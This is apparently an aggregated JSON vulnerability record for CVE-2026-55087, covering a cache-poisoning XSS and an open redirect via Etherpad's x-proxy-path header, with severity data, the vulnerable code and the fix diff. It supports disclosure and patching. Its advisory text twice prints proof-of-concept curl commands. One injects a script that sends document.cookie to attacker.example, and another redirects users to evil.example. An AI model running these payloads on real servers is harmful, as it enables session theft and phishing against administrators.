{"id":"CVE-2026-55087","aliases":["EUVD-2026-62721","GHSA-fjgc-3mj7-8rg8"],"status":"published","title":"Etherpad: x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)","description":"Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00578,"percentile":0.47904,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-444","CWE-601","CWE-79"],"published":"2026-08-13T13:46:07Z","modified":"2026-10-28T02:30:41Z","exploits":[{"source":"nuclei","id":"CVE-2026-55087","title":"Etherpad 2.1.0 \u003c= 3.0.0 - Cross-Site Scripting","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-55087.yaml"}],"fixes":[{"ecosystem":"npm","package":"ep_etherpad-lite","fixed_in":["3.1.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"ep_etherpad-lite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"last_affected":"3.0.0"},{"fixed":"3.1.0"}]}]},{"source":"osv","ecosystem":"npm","package":"ep_etherpad-lite","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0"},{"fixed":"3.1.0"}]}]}],"products":[{"vendor":"ether","product":"etherpad"}],"references":[{"url":"https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/ether/etherpad/pull/7784","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/ether/etherpad/tree/3.1.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/ether/etherpad/pull/6399","tags":["web"]},{"url":"https://github.com/ether/etherpad/pull/7710","tags":["web"]},{"url":"https://github.com/ether/etherpad/commit/451bd9c3ebb0dded99dd0ff21811ee00e0940c29","tags":["web"]},{"url":"https://github.com/ether/etherpad/commit/63e9b2d4eb303cd341022591bdf9484584db36e3","tags":["web"]},{"url":"https://github.com/advisories/GHSA-fjgc-3mj7-8rg8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55087.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55087","tags":["advisory"]},{"url":"https://github.com/ether/etherpad","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55087","title":"Etherpad: x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)","description":"Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.","status":"published","published":"2026-08-19T19:29:16.221Z","modified":"2026-08-21T21:48:54.703Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79","CWE-444","CWE-601"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-62721","description":"Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.","status":"published","published":"2026-08-19T19:29:16Z","modified":"2026-08-21T21:48:54Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:36.505605Z"}],"ghsa":[{"id":"GHSA-fjgc-3mj7-8rg8","title":"ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header","description":"# GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)\n\n**Severity:** Medium\n**CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n**CVSS suggested base score:** ~6.1 — Medium\n  *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)*\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests\n\n## Title\n\n`x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL)\n\n## Description\n\nEtherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:\n\n### Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)\n\nThe admin static-serving handler read `req.header('x-proxy-path')` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently:\n\n- An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).\n- More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case — no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache.\n\n### Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)\n\nThe legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as:\n\n```ts\nres.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);\n```\n\nA local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/\u003cpad\u003e` header, which browsers interpret as a protocol-relative URL — equivalent to `https://evil.example/p/\u003cpad\u003e`. **Open redirect**, exploitable for phishing.\n\nBoth issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.\n\n## Severity rationale\n\n- **AV:N / AC:L / PR:N** — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.\n- **UI:R** — victim must visit/interact with the admin UI.\n- **S:C** — scope changes (attacker context to admin origin).\n- **C:L / I:L** — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.\n\nCVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed.\n\n## Affected versions\n\n- **Admin XSS (Issue 3a):** `ep_etherpad-lite \u003e= 2.1.0, \u003c= 3.0.0`. The unsanitised `replaceAll(\"/admin\", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` \"Fixed api header authorization\" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it.\n- **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` \"scrub history in-place on the pad URL\" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.\n- Combined fix-target range covered by the GHSA: `\u003e= 2.1.0, \u003c= 3.0.0`.\n\n## Patched versions\n\n- `ep_etherpad-lite \u003e= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships.\n\n## Proof of concept\n\n### XSS / cache poisoning\n\n```\ncurl -s 'https://pad.example/admin/index.html' \\\n  -H 'x-proxy-path: \"\u003e\u003cscript\u003efetch(\"https://attacker.example/?c=\"+document.cookie)\u003c/script\u003e\u003ci a=\"'\n\n# If served by a shared cache without Vary on x-proxy-path, subsequent\n# requests to /admin/index.html (from any admin) get the same poisoned\n# HTML.\n```\n\n### Open redirect\n\n```\ncurl -i 'https://pad.example/p/foo/timeslider' \\\n  -H 'x-proxy-path: //evil.example'\n\n# HTTP/1.1 302 Found\n# Location: //evil.example/p/foo\n```\n\nA browser followed against the etherpad origin treats `//evil.example/p/foo` as `https://evil.example/p/foo`.\n\n## Workarounds\n\n- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite `x-proxy-path` from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.\n- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to `/p/:pad` (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).\n\n## Fix\n\nPatched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)):\n\n1. Extracted `src/node/utils/sanitizeProxyPath.ts` — a single shared helper used by both admin.ts and specialpages.ts. The helper:\n   - returns `\"\"` when the header is absent;\n   - strips characters outside `[A-Za-z0-9_./-]`;\n   - collapses a leading `//+` to a single `/` (kills protocol-relative URLs);\n   - prepends `/` if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);\n   - rejects `..` traversal segments.\n2. admin.ts now emits `Vary: x-proxy-path` and `Cache-Control: private, no-store` on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.\n\n`src/node/hooks/express/specialpages.ts` — replace the local sanitiser with the shared one:\n\n```diff\n-const sanitizeProxyPath = (req: any): string =\u003e {\n-  const raw = req.header('x-proxy-path') || '';\n-  return raw.replace(/[^a-zA-Z0-9\\-_\\/\\.]/g, '');\n-};\n+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';\n```\n\n`src/node/hooks/express/admin.ts` — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:\n\n```diff\n   if (ext === \".html\" || ext === \".js\" || ext === \".css\") {\n-    if (req.header(PROXY_HEADER)) {\n+    const proxyPath = sanitizeProxyPath(req);\n+    if (proxyPath) {\n       let string = data.toString()\n-      dataToSend = string.replaceAll(\"/admin\", req.header(PROXY_HEADER) + \"/admin\")\n-      dataToSend = dataToSend.replaceAll(\"/socket.io\", req.header(PROXY_HEADER) + \"/socket.io\")\n+      dataToSend = string.replaceAll(\"/admin\", proxyPath + \"/admin\")\n+      dataToSend = dataToSend.replaceAll(\"/socket.io\", proxyPath + \"/socket.io\")\n     }\n+    res.setHeader('Vary', 'x-proxy-path');\n+    res.setHeader('Cache-Control', 'private, no-store');\n   }\n```\n\n## Resources\n\n- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit `8c6104c`).\n- Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.\n- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.\n\n## Credits\n\nReported during an internal security audit by Claude (via @JohnMcLear).","status":"published","published":"2026-08-13T13:46:07Z","modified":"2026-08-13T13:46:08Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79","CWE-444","CWE-601"],"updated_at":"2026-11-02T14:41:00.097339Z"}],"nvd":[{"id":"CVE-2026-55087","description":"Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.","status":"published","published":"2026-08-19T20:17:17.72Z","modified":"2026-09-09T21:15:59.613Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79","CWE-444","CWE-601"],"updated_at":"2026-11-02T14:12:39.962615Z"}],"osv":[{"id":"CVE-2026-55087","title":"Etherpad: x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)","description":"Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.","status":"published","published":"2026-08-19T19:29:16.221Z","modified":"2026-10-28T02:30:41.541466125Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-444","CWE-601","CWE-79"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-fjgc-3mj7-8rg8","title":"ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header","description":"# GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)\n\n**Severity:** Medium\n**CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n**CVSS suggested base score:** ~6.1 — Medium\n  *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)*\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests\n\n## Title\n\n`x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL)\n\n## Description\n\nEtherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:\n\n### Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)\n\nThe admin static-serving handler read `req.header('x-proxy-path')` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently:\n\n- An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).\n- More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case — no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache.\n\n### Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)\n\nThe legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as:\n\n```ts\nres.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);\n```\n\nA local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/\u003cpad\u003e` header, which browsers interpret as a protocol-relative URL — equivalent to `https://evil.example/p/\u003cpad\u003e`. **Open redirect**, exploitable for phishing.\n\nBoth issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.\n\n## Severity rationale\n\n- **AV:N / AC:L / PR:N** — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.\n- **UI:R** — victim must visit/interact with the admin UI.\n- **S:C** — scope changes (attacker context to admin origin).\n- **C:L / I:L** — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.\n\nCVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed.\n\n## Affected versions\n\n- **Admin XSS (Issue 3a):** `ep_etherpad-lite \u003e= 2.1.0, \u003c= 3.0.0`. The unsanitised `replaceAll(\"/admin\", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` \"Fixed api header authorization\" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it.\n- **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` \"scrub history in-place on the pad URL\" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.\n- Combined fix-target range covered by the GHSA: `\u003e= 2.1.0, \u003c= 3.0.0`.\n\n## Patched versions\n\n- `ep_etherpad-lite \u003e= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships.\n\n## Proof of concept\n\n### XSS / cache poisoning\n\n```\ncurl -s 'https://pad.example/admin/index.html' \\\n  -H 'x-proxy-path: \"\u003e\u003cscript\u003efetch(\"https://attacker.example/?c=\"+document.cookie)\u003c/script\u003e\u003ci a=\"'\n\n# If served by a shared cache without Vary on x-proxy-path, subsequent\n# requests to /admin/index.html (from any admin) get the same poisoned\n# HTML.\n```\n\n### Open redirect\n\n```\ncurl -i 'https://pad.example/p/foo/timeslider' \\\n  -H 'x-proxy-path: //evil.example'\n\n# HTTP/1.1 302 Found\n# Location: //evil.example/p/foo\n```\n\nA browser followed against the etherpad origin treats `//evil.example/p/foo` as `https://evil.example/p/foo`.\n\n## Workarounds\n\n- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite `x-proxy-path` from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.\n- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to `/p/:pad` (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).\n\n## Fix\n\nPatched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)):\n\n1. Extracted `src/node/utils/sanitizeProxyPath.ts` — a single shared helper used by both admin.ts and specialpages.ts. The helper:\n   - returns `\"\"` when the header is absent;\n   - strips characters outside `[A-Za-z0-9_./-]`;\n   - collapses a leading `//+` to a single `/` (kills protocol-relative URLs);\n   - prepends `/` if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);\n   - rejects `..` traversal segments.\n2. admin.ts now emits `Vary: x-proxy-path` and `Cache-Control: private, no-store` on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.\n\n`src/node/hooks/express/specialpages.ts` — replace the local sanitiser with the shared one:\n\n```diff\n-const sanitizeProxyPath = (req: any): string =\u003e {\n-  const raw = req.header('x-proxy-path') || '';\n-  return raw.replace(/[^a-zA-Z0-9\\-_\\/\\.]/g, '');\n-};\n+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';\n```\n\n`src/node/hooks/express/admin.ts` — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:\n\n```diff\n   if (ext === \".html\" || ext === \".js\" || ext === \".css\") {\n-    if (req.header(PROXY_HEADER)) {\n+    const proxyPath = sanitizeProxyPath(req);\n+    if (proxyPath) {\n       let string = data.toString()\n-      dataToSend = string.replaceAll(\"/admin\", req.header(PROXY_HEADER) + \"/admin\")\n-      dataToSend = dataToSend.replaceAll(\"/socket.io\", req.header(PROXY_HEADER) + \"/socket.io\")\n+      dataToSend = string.replaceAll(\"/admin\", proxyPath + \"/admin\")\n+      dataToSend = dataToSend.replaceAll(\"/socket.io\", proxyPath + \"/socket.io\")\n     }\n+    res.setHeader('Vary', 'x-proxy-path');\n+    res.setHeader('Cache-Control', 'private, no-store');\n   }\n```\n\n## Resources\n\n- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit `8c6104c`).\n- Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.\n- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.\n\n## Credits\n\nReported during an internal security audit by Claude (via @JohnMcLear).","status":"published","published":"2026-08-13T13:46:07Z","modified":"2026-08-13T14:10:58.719555Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-444","CWE-601","CWE-79"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}
